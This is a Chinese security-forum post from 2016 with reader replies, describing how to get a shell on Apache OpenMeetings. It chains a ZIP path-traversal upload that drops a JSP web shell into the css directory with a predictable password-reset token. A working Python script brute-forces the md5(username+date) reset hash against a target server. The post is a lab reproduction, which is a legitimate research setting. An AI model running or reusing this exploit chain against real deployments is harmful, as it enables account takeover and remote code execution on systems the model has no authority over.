Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48

Apache OpenMeetings 算是比较冷门的系统,国内比较少见,要么都在内网吧。
根据已经发布的漏洞:
Apache OpenMeetings ZIP文件路径遍历(穿越)漏洞(CVE-2016-0784)
Apache OpenMeeting可预测密码重置令牌漏洞(CVE-2016-0783)
存在理论上getshell的可行性;

1. 本地搭建openmeetings环境;
2. 验证ZIP文件路径穿越漏洞;
准备穿越用的zip;
将jsp脚本改名为aaaaaaaaaaaaaaaaas2.jsp
然后zip,
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第1张图片
用UE打开,查找aaa(ASCII)
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第2张图片
替换aaa为../
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第3张图片
我们这里替换为 ../../../../ 跳4次
文件头和尾都有;
保存zip
上传:
管理员登录,找到backup/import
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第4张图片
导入zip
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第5张图片
会报一个错,不用理会的;
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第6张图片
查看文件:
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第7张图片
看来4跳走远了,3跳就够了;
其实jsp脚本放在openmeetings的根目录是不能运行的;但是我们放在css这样的目录就可以了;
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第8张图片
效果如下:
:5080/openmeetings/css/aaaas2.jsp
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第9张图片

如何获得shell就这样了;
Apache OpenMeeting可预测密码重置令牌漏洞
根据描述,查看源码,大概了解是这样的
private void sendHashByUser(User us, String appLink, UserDao userDao) throws Exception {
    String loginData = us.getLogin() + new Date();
    log.debug("User: " + us.getLogin());
    us.setResethash(ManageCryptStyle.getInstanceOfCrypt().createPassPhrase(loginData));
    userDao.update(us, -1L);
    String reset_link = appLink + "?hash=" + us.getResethash();

    String email = us.getAdresses().getEmail();

    String template = ResetPasswordTemplate.getEmail(reset_link);

    getBean(MailHandler.class).send(email, Application.getString(517), template);
  }


hash=md5(user+java:Date())
Java的Date()格式输出是这样的
Thu Apr 28 10:52:24 CST 2016

操作如下:
这里有一个坑,忘记密码,我们看到的样子是这样的;
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第10张图片
结果我个人的本地环境,居然是这样的;
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第11张图片
当时也没有点,死活没有找到忘记密码在哪里点,结果点开之后更坑
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第12张图片
原因是我在安装的时候选择了“中文”,这特么也太远了,那个是用户啊!
重置操作:
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第13张图片
中文的
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第14张图片
猜解hash
#coding=utf-8
import time,sys
import requests,hashlib

def md5(str):
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()

if __name__=='__main__':
    reset_time_format=time.strftime("%a %b %d %H:%M:%S",time.localtime())
    print 'Date_Time_Format:  '+reset_time_format+' CST 2016'
    current_xtime=time.strftime("%a %b %d %H:",time.localtime())
    opm_link=sys.argv[1]
    opm_port=sys.argv[2]
    opm_user=sys.argv[3]
    opm_mins=sys.argv[4]
    for i in range(0,60):
        secs = ("%02d"%i)
        date=current_xtime+str(opm_mins)+':'+str(secs)+' CST 2016'
        #print date
        hastr=opm_user+str(date)
        rest_hash=md5(hastr)
        url='http://'+opm_link+':'+opm_port+'/openmeetings/reset?hash='+rest_hash
        reset_action=requests.get(url)
        req_content=reset_action.text
        if 'Password set' in req_content:
            print 'User: '+opm_user+'\n'
            print 'Password reset url is:\n'+url

估计不了前后几分钟,单独将分钟独立出来,效果:
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第15张图片
重置操作
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第16张图片

新密码登录,然后zip上传,穿越,得shell。

附注:
date()是带时区的,Thu Apr 28 10:52:24 CST 2016 什么CET CST等;
因此针对国外的用户,这个时间是不一样的,因此问题在利用上需要猜的数量多了很多;

后来上了google,inurl:5080/openmeetings
居然发现了这个:
All Your Meetings Are Belong to Us: Remote Code Execution in Apache OpenMeetings
http://haxx.ml/post/141655340521/all-your-meetings-are-belong-to-us-remote-code
早知道就不搞环境,直接翻译一下算了。
文章中也提到了openmeetings根目录是不能运行jspshell的,但是他采用了另外的方式
修改配置,利用第三方插件来执行程序反弹
Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48_第17张图片

最后那句话,本人不仅菜,而且脸皮还厚,请不吝指正。

收藏 感谢(1)
分享到: 0
9 个回复
  1. 1# cf_hb (10000定律<=>实践ing) | 2016-04-28 16:58

    不错,之前在twitter上看到了英文版(没这个过程详细),还是看中文的好。

  2. 2# hkAssassin | 2016-04-28 17:04

    6666

  3. 3# f4ckbaidu (<wtf>) | 2016-04-28 17:30

    这中文翻译真是666

  4. 4# 少宇 (www.90xss.cn) | 2016-04-28 17:50

    给你满分

  5. 5# 纷纭 (:-)) | 2016-04-28 17:53

    6666666

  6. 6# Azui | 2016-04-28 17:57

    66666

  7. 7# 从容 (@寂寞的瘦子 其实是个死胖子!) | 2016-04-28 20:19

    这个好

  8. 8# zzR (你说我不能笑- -!) | 2016-04-28 20:26

    777

  9. 9#
    回复此人 感谢
    爱捣蛋的鬼 | 2016-04-28 22:04

    6666

你可能感兴趣的:(Apache OpenMeetings 会议系统getshell初探 - 2016-04-28 16:48)